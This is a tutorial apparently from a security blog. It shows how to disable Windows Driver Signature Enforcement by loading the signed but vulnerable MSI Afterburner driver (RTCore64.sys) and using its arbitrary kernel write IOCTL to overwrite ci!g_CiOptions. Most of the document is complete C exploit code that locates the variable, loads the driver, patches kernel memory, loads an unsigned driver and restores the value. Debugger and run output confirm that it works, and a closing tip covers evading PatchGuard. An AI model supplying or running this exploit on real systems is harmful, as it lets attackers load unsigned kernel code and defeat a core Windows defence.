Driver Signature Enforcement

Driver Signature Enforcement (DSE) is a Windows security feature that requires all kernel mode drivers to be digitally signed by Microsoft or another trusted authority before installation. We will be looking at exploiting an aribtary write primitive in a vulnerable driver to disable driver signature checking.


g_CiOptions

DSE is implemented using the kernel mode library CI.dll. This performs integrity checks to ensure drivers are from a legitimate source. The CI.dll module defines the variable g_CiOptions, which controls whether Windows enforces driver signature verification.

Using WinDBG we can view the DSE enforcement mode.

0: kd> db ci!g_CiOptions L1
fffff800`4854e004  0e

A value of 0x0e shows the system is in test signing mode. This setting allows the system to accept self-signed certificates.

  • 0x6 = Enabled
  • 0x0 = Disabled
  • 0x0e = Test Signing Mode

Programmatically Locating g_CiOptions

We can determine the offset to the c_CiOptions value using WinDbg. Just subtract the CI.dll module base address from the g_CiOptions RVA.

0: kd> lm m ci*
Browse full module list
start             end                 module name
fffff800`48500000 fffff800`48609000   CI         (deferred)     

0: kd> db ci!g_CiOptions L1
fffff800`4854e004  0e

0: kd> ? fffff800`4854e004 - fffff800`48500000
Evaluate expression: 319492 = 00000000`0004e004

To programmatically identify the memory address used to store the c_CiOptions variable you can call the EnumDeviceDrivers function to get the base address of the CI.dll module then apply the offset we just calculated.

#include <windows.h>
#include <psapi.h>
#include <tchar.h>
#include <stdio.h>
#include <stdlib.h>

ULONG_PTR FindKernelModuleBaseByName(_In_ LPCTSTR name)
{
    DWORD cbNeeded = 0;
    PVOID* drivers = NULL;
    DWORD driverCount = 0;
    ULONG_PTR result = 0;

    const DWORD initialCount = 1024;
    drivers = (PVOID*)malloc(initialCount * sizeof(PVOID));
    if (!drivers) {
        _tprintf(_T("Allocation failed\n"));
        return 0;
    }

    if (!EnumDeviceDrivers(drivers, initialCount * sizeof(PVOID), &cbNeeded)) {
        DWORD err = GetLastError();
        if (cbNeeded > initialCount * sizeof(PVOID)) {
            free(drivers);
            drivers = (PVOID*)malloc(cbNeeded);
            if (!drivers) {
                _tprintf(_T("Allocation failed (needed %u bytes)\n"), cbNeeded);
                return 0;
            }
            if (!EnumDeviceDrivers(drivers, cbNeeded, &cbNeeded)) {
                _tprintf(_T("EnumDeviceDrivers failed (%u)\n"), GetLastError());
                free(drivers);
                return 0;
            }
        }
        else {
            _tprintf(_T("EnumDeviceDrivers failed (%u)\n"), err);
            free(drivers);
            return 0;
        }
    }

    driverCount = cbNeeded / sizeof(PVOID);
    for (DWORD i = 0; i < driverCount; ++i) {
        if (drivers[i] == NULL)
            continue;

        TCHAR baseName[MAX_PATH] = { 0 };
        if (GetDeviceDriverBaseName(drivers[i], baseName, _countof(baseName))) {
            if (_tcsicmp(baseName, name) == 0) {
                result = (ULONG_PTR)drivers[i];
                break;
            }
        }
    }

    if (!result) {
        _tprintf(_T("[!] Could not resolve %s kernel module's address\n"), name);
    }

    free(drivers);
    return result;
}

int _tmain(int argc, TCHAR* argv[])
{
    if (argc != 2) {
        _tprintf(_T("Usage: %s <drivername>\nExample: %s ntoskrnl.exe\n"), argv[0], argv[0]);
        return 1;
    }

    const ULONG_PTR g_ciOptions_rva = 0x4E004ULL; // Win24H2 offset

    ULONG_PTR base = FindKernelModuleBaseByName(argv[1]);
    if (base) {
        int hexWidth = (int)(sizeof(ULONG_PTR) * 2);
        _tprintf(_T("%s base = 0x%0*I64X\n"), argv[1], hexWidth, (unsigned long long)base);

        //Add the RVA for g_ciOptions_rva
        ULONG_PTR g_ciOptions_addr = base + g_ciOptions_rva;
        _tprintf(_T("%s g_ciOptions address = 0x%0*I64X\n"),  argv[1], hexWidth, (unsigned long long)g_ciOptions_addr);
    }
    else {
        _tprintf(_T("Not found.\n"));
    }

    return 0;
}

Running the code provides the following output:

C:\Users\user\source\repos\FindKernelModule\x64\Debug>FindKernelModule.exe ci.dll
ci.dll base = 0xFFFFF80048500000
ci.dll g_ciOptions offset = 0xFFFFF8004854E004

We can verify the address is correct using our previous WinDBG commands.

0: kd> lm m ci*
Browse full module list
start             end                 module name
fffff800`48500000 fffff800`48609000   CI         (deferred)       
             
0: kd> db ci!g_CiOptions L1
fffff800`4854e004  0e

Bring Your Own Vulnerable Driver

To modify the g_CiOptions option, we’re going to need to run kernel mode code. Since we’re unable to run unsigned code, we’re going to need to exploit a signed driver with a vulnerability. An adversary could install a signed (but vulnerable) driver on the system, then exploit it. Security researchers refer to this technique as a Bring Your Own Vulnerable Driver (BYOVD) attack.

We’re going to use the MSI Afterburner driver, that contains a simple arbitrary memory read/write primitive. Exploiting this aribitary write primitive is just a matter of understanding the IOCTL request format it expects.

#define RTCORE64_MEM_WRITE_CODE CTL_CODE(0x8000, 0x813, METHOD_BUFFERED, FILE_ANY_ACCESS)

typedef struct RTCORE64_MEM_READ {
    BYTE    Reserved1[8];   // Junk
    UINT64  Address;        // Target memory address
    BYTE    Reserved2[8];   // Junk
    DWORD   Size;           // number of bytes to read
    DWORD   Value;          // value read from memory
    BYTE    Reserved3[16];  // Junk
} RTCORE64_MEMORY_READ;

The code below carries out the following steps:

  • Determine the offset to the g_CiOptions variable using the FindKernelModuleBaseByName function.
  • Load the vulnerable driver (RTCore64.sys) using the LoadDriver function.
  • Use WriteMemory to send an IOCTL to RTCore64.sys to overwrite the g_CiOptions value.
  • Load our unsigned driver using LoadDriver.
  • Use WriteMemory to reset g_CiOptions back to it’s original state.
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <psapi.h>
#include <winioctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <inttypes.h>
#include <tchar.h>


#define FILE_DEVICE_UNKNOWN 0x00000022
#define METHOD_BUFFERED     0
#define FILE_ANY_ACCESS     0

#define RTCORE64_MEM_WRITE_CODE CTL_CODE(0x8000, 0x813, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define RTCORE64_MEM_READ_CODE CTL_CODE(0x8000, 0x812, METHOD_BUFFERED, FILE_ANY_ACCESS)


ULONG_PTR FindKernelModuleBaseByName(_In_ LPCTSTR name)
{
    DWORD cbNeeded = 0;
    PVOID* drivers = NULL;
    DWORD driverCount = 0;
    ULONG_PTR result = 0;

    const DWORD initialCount = 1024;
    drivers = (PVOID*)malloc(initialCount * sizeof(PVOID));
    if (!drivers) {
        _tprintf(_T("Allocation failed\n"));
        return 0;
    }

    if (!EnumDeviceDrivers(drivers, initialCount * sizeof(PVOID), &cbNeeded)) {
        DWORD err = GetLastError();
        if (cbNeeded > initialCount * sizeof(PVOID)) {
            free(drivers);
            drivers = (PVOID*)malloc(cbNeeded);
            if (!drivers) {
                _tprintf(_T("Allocation failed (needed %u bytes)\n"), cbNeeded);
                return 0;
            }
            if (!EnumDeviceDrivers(drivers, cbNeeded, &cbNeeded)) {
                _tprintf(_T("EnumDeviceDrivers failed (%u)\n"), GetLastError());
                free(drivers);
                return 0;
            }
        }
        else {
            _tprintf(_T("EnumDeviceDrivers failed (%u)\n"), err);
            free(drivers);
            return 0;
        }
    }

    driverCount = cbNeeded / sizeof(PVOID);
    for (DWORD i = 0; i < driverCount; ++i) {
        if (drivers[i] == NULL)
            continue;

        TCHAR baseName[MAX_PATH] = { 0 };
        if (GetDeviceDriverBaseName(drivers[i], baseName, _countof(baseName))) {
            if (_tcsicmp(baseName, name) == 0) {
                result = (ULONG_PTR)drivers[i];
                break;
            }
        }
    }

    if (!result) {
        _tprintf(_T("[!] Could not resolve %s kernel module's address\n"), name);
    }

    free(drivers);
    return result;
}



typedef struct RTCORE64_MEM_READ {
    BYTE    Reserved1[8];   // Junk
    UINT64  Address;        // Target memory address
    BYTE    Reserved2[8];   // Junk
    DWORD   Size;           // number of bytes to read
    DWORD   Value;          // value read from memory
    BYTE    Reserved3[16];  // Junk
} RTCORE64_MEMORY_READ;

DWORD ReadMemory(HANDLE device,DWORD  size, UINT64 address)
{
    RTCORE64_MEM_READ req = { 0 };
    req.Address = address;
    req.Size = size;

    DWORD bytesReturned = 0;
    BOOL ok = DeviceIoControl(
        device,
        RTCORE64_MEM_READ_CODE,    // IOCTL code
        &req, sizeof(req),         // in-buffer
        &req, sizeof(req),         // out-buffer
        &bytesReturned,
        NULL
    );

    if (!ok) {
        DWORD err = GetLastError();
        fprintf(stderr, "[-] DeviceIoControl failed (error %lu)\n", err);
        return 0;
    }

    return req.Value;
}

DWORD WriteMemory(HANDLE device, DWORD  size, UINT64 address, DWORD value)
{
    RTCORE64_MEM_READ req = { 0 };
    req.Address = address;
    req.Size = size;
    req.Value = value;

    DWORD bytesReturned = 0;
    BOOL ok = DeviceIoControl(
        device,
        RTCORE64_MEM_WRITE_CODE,   // IOCTL code
        &req, sizeof(req),         // in-buffer
        &req, sizeof(req),         // out-buffer
        &bytesReturned,
        NULL
    );

    if (!ok) {
        DWORD err = GetLastError();
        fprintf(stderr, "[-] DeviceIoControl failed (error %lu)\n", err);
        return 0;
    }

    return req.Value;
}



BOOL LoadDriver(LPCSTR driverName, LPCSTR driverPath) {
    SC_HANDLE hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
    if (!hSCManager) {
        printf("[-] OpenSCManager failed (%lu)\n", GetLastError());
        return FALSE;
    }

    SC_HANDLE hService = CreateServiceA(
        hSCManager,
        driverName,
        driverName,
        SERVICE_START | DELETE | SERVICE_STOP,
        SERVICE_KERNEL_DRIVER,
        SERVICE_DEMAND_START,
        SERVICE_ERROR_NORMAL,
        driverPath,
        NULL, NULL, NULL, NULL, NULL
    );

    if (!hService) {
        if (GetLastError() == ERROR_SERVICE_EXISTS) {
            hService = OpenServiceA(hSCManager, driverName, SERVICE_START | DELETE | SERVICE_STOP);
        }
        else {
            printf("[-] CreateService failed (%lu)\n", GetLastError());
            CloseServiceHandle(hSCManager);
            return FALSE;
        }
    }

    if (!StartServiceA(hService, 0, NULL)) {
        DWORD err = GetLastError();
        if (err != ERROR_SERVICE_ALREADY_RUNNING) {
            printf("[-] StartService failed (%lu)\n", err);
            CloseServiceHandle(hService);
            CloseServiceHandle(hSCManager);
            return FALSE;
        }
    }

    printf("[+] Driver %s loaded successfully.\n", driverName);
    CloseServiceHandle(hService);
    CloseServiceHandle(hSCManager);
    return TRUE;
}

BOOL UnloadDriver(LPCSTR driverName) {
    SC_HANDLE hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT);
    if (!hSCManager) {
        printf("[-] OpenSCManager failed (%lu)\n", GetLastError());
        return FALSE;
    }

    SC_HANDLE hService = OpenServiceA(hSCManager, driverName, SERVICE_STOP | DELETE);
    if (!hService) {
        printf("[-] OpenService failed (%lu)\n", GetLastError());
        CloseServiceHandle(hSCManager);
        return FALSE;
    }

    SERVICE_STATUS status;
    if (!ControlService(hService, SERVICE_CONTROL_STOP, &status)) {
        DWORD err = GetLastError();
        if (err != ERROR_SERVICE_NOT_ACTIVE) {
            printf("[-] ControlService failed (%lu)\n", err);
            CloseServiceHandle(hService);
            CloseServiceHandle(hSCManager);
            return FALSE;
        }
    }

    if (!DeleteService(hService)) {
        printf("[!] DeleteService failed (%lu)\n", GetLastError());
        CloseServiceHandle(hService);
        CloseServiceHandle(hSCManager);
        return FALSE;
    }

    printf("[+] Driver %s unloaded successfully.\n", driverName);
    CloseServiceHandle(hService);
    CloseServiceHandle(hSCManager);
    return TRUE;
}


int main(int argc, char** argv) {

    const ULONG_PTR g_ciOptions_rva = 0x4E004ULL; // Win24H2 offset
    UINT64 targetAddress;

    ULONG_PTR base = FindKernelModuleBaseByName(L"ci.dll");
    if (base) {
        int hexWidth = (int)(sizeof(ULONG_PTR) * 2);
        _tprintf(_T("[+] Kernel base address = 0x%0*I64X\n"), hexWidth, (unsigned long long)base);

        //Add the RVA for g_ciOptions_rva
        ULONG_PTR g_ciOptions_addr = base + g_ciOptions_rva;
        _tprintf(_T("[+] g_ciOptions address = 0x%0*I64X\n"), hexWidth, (unsigned long long)g_ciOptions_addr);
        targetAddress = g_ciOptions_addr;
    }
    else {
        _tprintf(_T("Not found.\n"));
    }

    printf("[!] Loading RTCore64 driver...\n");
    const char* driverName = "AfterBurner";
    const char* driverPath = "C:\\RTCore64.sys";

    if (LoadDriver(driverName, driverPath)) {
        printf("[!] Sending driver requests\n");

        HANDLE hDevice = CreateFileA(
            "\\\\.\\RTCore64",
            GENERIC_READ | GENERIC_WRITE,
            0,
            NULL,
            OPEN_EXISTING,
            FILE_ATTRIBUTE_NORMAL,
            NULL
        );

        if (hDevice == INVALID_HANDLE_VALUE) {
            fprintf(stderr, "CreateFile failed (error %lu).\n",
                GetLastError());
            return 1;
        }

        UINT64 address = (UINT64)targetAddress;
        DWORD size = 1;                          // number of bytes to read as a DWORD

        DWORD value = ReadMemory(hDevice, size, address);
        printf("[+] Read %u bytes from 0x%016" PRIx64 " -> 0x%02x\n", size, address, value);

        DWORD originalValue = value;

        printf("[+] Writing Memory\n");
        WriteMemory(hDevice, size, address, 0x0e);
        value = ReadMemory(hDevice, size, address);
        printf("[+] Read %u bytes from 0x%016" PRIx64 " -> 0x%02x\n", size, address, value);


        printf("[!] Loading MyDriver driver...\n");
        const char* myDriverName = "MyDriver";
        const char* myDriverPath = "C:\\MyDriver.sys";

        if (LoadDriver(myDriverName, myDriverPath))
        {
            printf("[+] MyDriver loaded\n");
        }
        else {
            printf("[-] MyDriver load failed\n");
        }

        printf("[+] Resetting Memory\n");
        WriteMemory(hDevice, size, address, originalValue);
        value = ReadMemory(hDevice, size, address);
        printf("[+] Read %u bytes from 0x%016" PRIx64 " -> 0x%02x\n", size, address, value);

        UnloadDriver(myDriverName);
        UnloadDriver(driverName);

        printf("[!] Have a nice day :) \n");

        CloseHandle(hDevice);
    }

}

Testing the Exploit

Our system currently has DSE enforced, so we’re unable to load our unsigned driver (MyDriver.sys).

C:\>sc create MyDriver type= kernel binPath= C:\MyDriver.sys
[SC] CreateService SUCCESS

C:\>sc start MyDriver
[SC] StartService FAILED 577:

Windows cannot verify the digital signature for this file. A recent hardware or software change might have installed a file that is signed incorrectly or damaged, or that might be malicious software from an unknown source.

Running our exploit, we can see test signing mode (0x0e) is enabled, and our driver is successfully loaded.

AfterBurner.exe
[+] Kernel base address = 0xFFFFF8073A770000
[+] g_ciOptions address = 0xFFFFF8073A7BE004
[!] Loading RTCore64 driver...
[+] Driver AfterBurner loaded successfully.
[!] Sending driver requests
[+] Read 1 bytes from 0xfffff8073a7be004 -> 0x06
[+] Writing Memory
[+] Read 1 bytes from 0xfffff8073a7be004 -> 0x0e
[!] Loading MyDriver driver...
[+] Driver MyDriver loaded successfully.
[+] MyDriver loaded
[+] Resetting Memory
[+] Read 1 bytes from 0xfffff8073a7be004 -> 0x06
[+] Driver MyDriver unloaded successfully.
[+] Driver AfterBurner unloaded successfully.
[!] Have a nice day :)

In Conclusion

Microsoft PatchGuard will monitor changes to the g_ciOptions variable, so it’s generally best to modify load a unsigned driver then immediately reset the value to what it was. In addition, when Virtualisation-Based Security is enabled, the system stores g_CiOptions in the VTL1 trust domain, which further hampers any attempt to modify it.